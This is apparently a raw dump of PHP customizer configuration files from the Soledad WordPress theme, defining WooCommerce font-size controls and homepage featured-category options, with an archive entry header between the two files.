	'id'          => 'pencidesign_woo_product_loop_button_icon_m_size',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Button Icon', 'soledad' ),
	'id'       => 'pencidesign_woo_product_loop_button_icon_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_product_loop_button_icon_size',
		'mobile'  => 'pencidesign_woo_product_loop_button_icon_m_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_product_loop_button_3_m_size',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Button - Product Style 3', 'soledad' ),
	'id'       => 'pencidesign_woo_product_loop_button_3_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_product_loop_button_3_size',
		'mobile'  => 'pencidesign_woo_product_loop_button_3_m_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_product_loop_button_4_m_size',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Button - Product Style 4', 'soledad' ),
	'id'       => 'pencidesign_woo_product_loop_button_4_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_product_loop_button_4_size',
		'mobile'  => 'pencidesign_woo_product_loop_button_4_m_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_product_loop_button_5_m_size',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Button - Product Style 5', 'soledad' ),
	'id'       => 'pencidesign_woo_product_loop_button_5_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_product_loop_button_5_size',
		'mobile'  => 'pencidesign_woo_product_loop_button_5_m_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* Product Category Loop */
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Product Category Loop Font Size', 'soledad' ),
	'id'       => 'penci_woo_section_product_cat_typo',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'penci_woo_loop_cat_font_size_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Product Category Title', 'soledad' ),
	'id'       => 'penci_woo_loop_cat_font_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_woo_loop_cat_font_size',
		'mobile'  => 'penci_woo_loop_cat_font_size_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'penci_woo_loop_meta_font_size_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Product Category Meta', 'soledad' ),
	'id'       => 'penci_woo_loop_meta_font_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_woo_loop_meta_font_size',
		'mobile'  => 'penci_woo_loop_meta_font_size_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* Single Product */
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Single Product Font Size', 'soledad' ),
	'id'       => 'penci_woo_section_product_single_typo',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_m_product_price',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Product Title', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_product_single_title',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_product_single_title',
		'mobile'  => 'pencidesign_woo_fontsize_product_single_m_title',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_m_product_price',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Product Price', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_product_price',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_product_price',
		'mobile'  => 'pencidesign_woo_fontsize_m_product_price',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_m_product_breadcrumb',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Product Breadcrumb', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_product_meta',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_product_breadcrumb',
		'mobile'  => 'pencidesign_woo_fontsize_m_product_breadcrumb',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Product General Text', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_product_general',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_product_general',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 300,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_product_tab_m_title',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Product Tab Title', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_product_meta',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_product_tab_title',
		'mobile'  => 'pencidesign_woo_fontsize_product_tab_m_title',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_m_product_meta',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Product Meta', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_product_meta',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_product_meta',
		'mobile'  => 'pencidesign_woo_fontsize_m_product_meta',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* Cart/Checkout/Thank you page */
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Additional Pages Font Size', 'soledad' ),
	'id'       => 'penci_woo_section_product_additional_pages_typo',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_pages_nav_font_size_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Navigation Step', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_pages_nav_font_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_pages_nav_font_size',
		'mobile'  => 'pencidesign_woo_fontsize_pages_nav_font_size_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_pages_table_th_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Table Head', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_pages_table_th',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_pages_table_th',
		'mobile'  => 'pencidesign_woo_fontsize_pages_table_th_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_pages_table_product_title_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Table Product Title', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_pages_table_product_title',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_pages_table_product_title',
		'mobile'  => 'pencidesign_woo_fontsize_pages_table_product_title_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_pages_table_product_price_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Table Product Price', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_pages_table_product_price',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_pages_table_product_price',
		'mobile'  => 'pencidesign_woo_fontsize_pages_table_product_price_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_pages_table_product_subtotal_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Table Product Sub Total', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_pages_table_product_subtotal',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_pages_table_product_subtotal',
		'mobile'  => 'pencidesign_woo_fontsize_pages_table_product_subtotal_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_pages_table_product_quantity_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Table Product Quantity Input', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_pages_table_product_quantity',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_pages_table_product_quantity',
		'mobile'  => 'pencidesign_woo_fontsize_pages_table_product_quantity_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_pages_cart_total_h2_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Cart Total Heading', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_pages_cart_total_h2',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_pages_cart_total_h2',
		'mobile'  => 'pencidesign_woo_fontsize_pages_cart_total_h2_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_pages_button_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Button', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_pages_button',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_pages_button',
		'mobile'  => 'pencidesign_woo_fontsize_pages_button_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* Checkout Form Font Size */
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Check out Form Font Size', 'soledad' ),
	'id'       => 'penci_woo_section_checkout_font_size',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_checkout_form_label_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Form Label', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_checkout_form_label',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_checkout_form_label_m',
		'mobile'  => 'pencidesign_woo_fontsize_checkout_form_label',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_checkout_form_input_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Form Input', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_checkout_form_input',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_checkout_form_input',
		'mobile'  => 'pencidesign_woo_fontsize_checkout_form_input_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_checkout_order_heading_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Heading', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_checkout_order_heading',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_checkout_order_heading',
		'mobile'  => 'pencidesign_woo_fontsize_checkout_order_heading_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_checkout_order_button_m',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Order Button', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_checkout_order_button',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_checkout_order_button',
		'mobile'  => 'pencidesign_woo_fontsize_checkout_order_button_m',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* Other Font Size */
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Other Product Font Size', 'soledad' ),
	'id'       => 'penci_woo_section_product_other_typo',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'pencidesign_woo_fontsize_m_product_label',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Product Label', 'soledad' ),
	'id'       => 'pencidesign_woo_fontsize_product_label',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'pencidesign_woo_fontsize_product_label',
		'mobile'  => 'pencidesign_woo_fontsize_m_product_label',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     N\27  27  N  inc/customizer/config/sections/penci_section_homepage_featured_cat_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'List Featured Categories', 'soledad' ),
	'id'          => 'penci_home_featured_cat',
	'description'=>__('By default, this option apply only for Homepage Magazine(style 1 and style 2) layout, copy and paste categories slug you want display above Latest Posts here - check <a class="wp-customizer-link" rel="nofollow" href="https://imgresources.s3.amazonaws.com/magazine-2.png" target="_blank">this image</a> to understand what is categories slug. Example: You want display categories "Life Style, Travel, Music" above Latest Posts, fill categories slug like "life-style, travel, music"','soledad'),
	'type'        => 'soledad-fw-textarea',
	'transport'       => 'postMessage',
	'partial_refresh'    => [
		'penci_home_featured_cat' => [
			'selector'        => '.home-featured-cat',
			'render_callback' => 'penci_home_featured_cat',
		],
	],
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Featured Categories for All Homepage Layouts - Not for Magazine Layouts Only', 'soledad' ),
	'id'       => 'penci_enable_featured_cat_all_layouts',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Move Latest Posts To Above Featured Categories', 'soledad' ),
	'id'       => 'penci_move_latest_posts_above',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Border Bottom Between Post Items', 'soledad' ),
	'id'       => 'penci_feacat_rmborder',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Post Meta Overlay Featured Image for Featured Category Style 7', 'soledad' ),
	'id'       => 'penci_home_featured_cat_overlay7',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Thumbnail for Small Posts on Featured Category Style 15', 'soledad' ),
	'id'       => 'penci_home_thumbnail15',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '60',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Custom Space Between Featured Categories', 'soledad' ),
	'id'       => 'penci_featured_cat_margin',
	'ids'      => array(
		'desktop' => 'penci_featured_cat_margin',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '60',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Custom Image Width on Small Posts', 'soledad' ),
	'id'       => 'penci_featured_cat_imgwidth',
	'ids'      => array(
		'desktop' => 'penci_featured_cat_imgwidth',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Author on Featured Categories', 'soledad' ),
	'id'       => 'penci_home_featured_cat_author',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show Post Author on Small Posts', 'soledad' ),
	'description' => __( 'You can check <a class="wp-customizer-link" href="https://imgresources.s3.amazonaws.com/small-posts.png" target="_blank">this image</a> to know where is the "Small Posts"', 'soledad' ),
	'id'          => 'penci_home_cat_author_sposts',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Date on Featured Categories', 'soledad' ),
	'id'       => 'penci_home_featured_cat_date',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Comment Count on Featured Categories', 'soledad' ),
	'id'       => 'penci_home_featured_cat_comment',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Views Count on Featured Categories', 'soledad' ),
	'id'       => 'penci_home_cat_views',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Reading Time on Featured Categories', 'soledad' ),
	'id'       => 'penci_home_cat_readtime',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Post Format Icons on Featured Categories', 'soledad' ),
	'id'       => 'penci_home_featured_cat_icons',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable "View All" link for Featured Categories', 'soledad' ),
	'id'       => 'penci_home_featured_cat_seemore',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove arrow on "View All"', 'soledad' ),
	'id'       => 'penci_home_featured_cat_remove_arrow',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Make "View All" is A Button', 'soledad' ),
	'id'       => 'penci_home_featured_cat_readmore_button',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => 'left',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Align "View All" Button', 'soledad' ),
	'id'       => 'penci_home_featured_cat_readmore_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'left'   => esc_html__( 'Left', 'soledad' ),
		'center' => esc_html__( 'Center', 'soledad' ),
		'right'  => esc_html__( 'Right', 'soledad' )
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Posts Excerpt on Featured Categories', 'soledad' ),
	'id'       => 'penci_home_featured_cat_remove_excerpt',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Autoplay for Sliders on Style 4, 5, 12', 'soledad' ),
	'id'       => 'penci_home_featured_cat_autoplay',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '5',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 1', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_1',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_1',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '5',
		),
	),
);
$options[] = array(
	'default'  => '4',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 2', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_2',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_2',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '4',
		),
	),
);
$options[] = array(
	'default'  => '4',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 3', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_3',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_3',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '4',
		),
	),
);
$options[] = array(
	'default'  => '6',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 4', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_4',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_4',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '6',
		),
	),
);
$options[] = array(
